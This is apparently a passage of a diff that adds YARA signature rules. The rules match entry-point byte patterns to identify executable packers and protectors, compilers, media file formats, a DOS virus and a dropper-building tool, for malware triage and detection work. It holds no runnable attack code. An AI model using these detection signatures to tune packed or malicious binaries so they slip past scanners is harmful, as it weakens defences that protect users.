+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+	condition:
+		$0 at entrypoint
+}
+rule _USSR_V031__SpiritST_
+{
+	meta:
+		description = "USSR V0.31 -> SpiritST"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 2E 55 53 53 52 00 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Upack_v031_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.31 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+	condition:
+		$0 at entrypoint
+}
+rule _RSCs_Process_Patcher_151_
+{
+	meta:
+		description = "R!SC's Process Patcher 1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+	condition:
+		$0
+}
+rule _PEiDBundle_v102__v104__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.02 - v1.04 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 ?? ?? ?? 2E ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V10XV17X_DLL__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.0.X-V1.7.X DLL -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 ?? ?? ?? ?? 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3 ?? 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D ?? ?? ?? ?? B9 ?? ?? ?? ?? C6 00 E9 83 E9 ?? 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11_CracKed_By_shoooo__fly__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v096_
+{
+	meta:
+		description = "tElock v0.96"
+	strings:
+		$0 = {E9 59 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HASP_HL_Protection_V1X__Aladdin__Sign_by_fly_
+{
+	meta:
+		description = "HASP HL Protection V1.X -> Aladdin ! Sign by fly"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_02_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.2-> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+	condition:
+		$0
+}
+rule _Hyings_PEArmor_075exe__Hying_CCG_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying [CCG"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00 00 00 00 84 ?? ?? ?? 74 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED D7 00 00 00 8D B5 EE 00 00 00 55 56 81 C5 ?? ?? 00 00 55 C3}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 or $1
+}
+rule _LTC_v13_
+{
+	meta:
+		description = "LTC v1.3"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_WATCOM_CCpp_EXE_
+{
+	meta:
+		description = "PseudoSigner 0.2 [WATCOM C/C++ EXE]"
+	strings:
+		$0 = {E9 00 00 00 00 90 90 90 90 57 41}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_211_DEMO_
+{
+	meta:
+		description = "ORiEN 2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0
+}
+rule _HACKSTOP_v110p1_
+{
+	meta:
+		description = "HACKSTOP v1.10p1"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Naked_Packer_V10__BigBoote_
+{
+	meta:
+		description = "Naked Packer V1.0 -> BigBoote"
+	strings:
+		$0 = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v32a__emadicius_
+{
+	meta:
+		description = "[MSLRH] v32a -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+		$1 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _FishPE_V10X__hellfish_
+{
+	meta:
+		description = "FishPE V1.0X -> hellfish"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _AVI_movie_file_
+{
+	meta:
+		description = "AVI movie file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+	condition:
+		$0
+}
+rule _EXE_Stealth_274_
+{
+	meta:
+		description = "EXE Stealth 2.74"
+	strings:
+		$0 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+	condition:
+		$0
+}
+rule _FSG_110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b2__v140b4_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_by_Vaska_unknown_ver_sign_from_pinch_21032006_2305_
+{
+	meta:
+		description = "RCryptor by Vaska unknown ver (sign from pinch 21.03.2006 23:05)"
+	strings:
+		$0 = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1999_
+{
+	meta:
+		description = "Borland C++ for Win32 1999"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _EncryptPE_V12003318V12003518__WFS_
+{
+	meta:
+		description = "EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku448_
+{
+	meta:
+		description = "Vx: Kuku.448"
+	strings:
+		$0 = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _BDC_HelpSystem_Help_file_
+{
+	meta:
+		description = "BDC HelpSystem Help file"
+	strings:
+		$0 = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+	condition:
+		$0
+}
+rule _NsPacK_V31__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_MSVCpp_DLL_Method_4__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ DLL Method 4) -> emadicius"
+	strings:
+		$0 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+	condition:
+		$0
+}
+rule _GHF_Protector_pack_only__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack only) -> GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+		$1 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _xPEP_03x__xIkUg_
+{
+	meta:
+		description = "xPEP 0.3x -> xIkUg"
+	strings:
+		$0 = {55 53 56 51 52 57 E8 16 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack__Nort_Star_Software__urlwwwnsdsncom_
+{
+	meta:
+		description = "NSPack -> Nort Star Software - url:://www.nsdsn.com/"
+	strings:
+		$0 = {83 F9 00 74 28 43 8D B5 ?? ?? FF FF 8B 16 56 51 53 52 56 FF 33 FF 73 04 8B 43 08 03 C2 50 FF 95 ?? ?? FF FF 5A 5B 59 5E 83 C3 0C E2 E1 61 9D E9 ?? ?? ?? FF 8B B5 ?? ?? FF FF 0B F6 0F 84 97 00 00 00 8B 95 ?? ?? FF FF 03 F2 83 3E 00 75 0E 83 7E 04 00 75 08 83 7E 08 00 75 02 EB 7A 8B 5E 08 03 DA 53 52 56 8D BD ?? ?? FF FF 03 7E 04 83 C6 0C 57}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.xx (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DEF 1.0] -> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AutoDesk_Animation_file_
+{
+	meta:
+		description = "AutoDesk Animation file"
+	strings:
+		$0 = {00 12 AF ?? ?? 40 01 C8}
+	condition:
+		$0
+}
+rule _FSG_v110_Eng__bartxt__WinRARSFX_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX"
+	strings:
+		$0 = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+		$1 = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LCCWin32_
+{
+	meta:
+		description = "LCC-Win32"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v201_
+{
+	meta:
+		description = "PE Lock NT v2.01"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Dropper_Creator_V01__Conflict_
+{
+	meta:
+		description = "Dropper Creator V0.1 -> Conflict"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+	condition:
+		$0
+}
+rule _PureBasic_DLL__Neil_Hodgson_
+{
+	meta:
+		description = "PureBasic DLL -> Neil Hodgson"
+	strings:
+		$0 = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_12__CGSoftLabs_h_
+{
+	meta:
+		description = "eXPressor 1.2 -> CGSoftLabs (h)"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_SVKP_111__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake SVKP 1.11) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PowerBASICCC_30x_
+{
+	meta:
+		description = "PowerBASIC/CC 3.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+	condition:
+		$0 at entrypoint
+}
+rule _MIDI_Music_file_
+{
+	meta:
+		description = "MIDI Music file"
+	strings:
+		$0 = {4D 54 68 64 00 00 00 06 ?? ?? ?? ?? ?? ?? 4D 54}
+	condition:
+		$0
+}
+rule _MS_RunTime_Library_1992_11_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (11)"
+	strings:
+		$0 = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_116_LZMA_compression__ap0x_h_
+{
+	meta:
+		description = "RLPack 1.16 (LZMA compression) -> ap0x (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 5A 0A 00 00 8D 9D 40 02 00 00 33 FF E8 83 01 00 00 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 EB 09 00 00 89 85 3A 0A 00 00 EB 14 60 FF B5 3A 0A 00 00 FF 34 37 FF 74 37 04 FF D3 61 83 C7 08 83 3C 37 00 75 E6 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 EB 09 00 00 89 85 56 0A 00 00 5B 60 FF B5 3A 0A 00 00 56 FF B5 56 0A 00 00 FF D3 61 8B B5 56 0A 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 E8 E7 00 00 00 83 C0 04 89 85 52 0A 00 00 E9 97 00 00 00 56 FF 95 E3 09 00 00 89 85 4E 0A 00 00 85 C0 0F 84 C2}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_Morphine_12_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2]"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
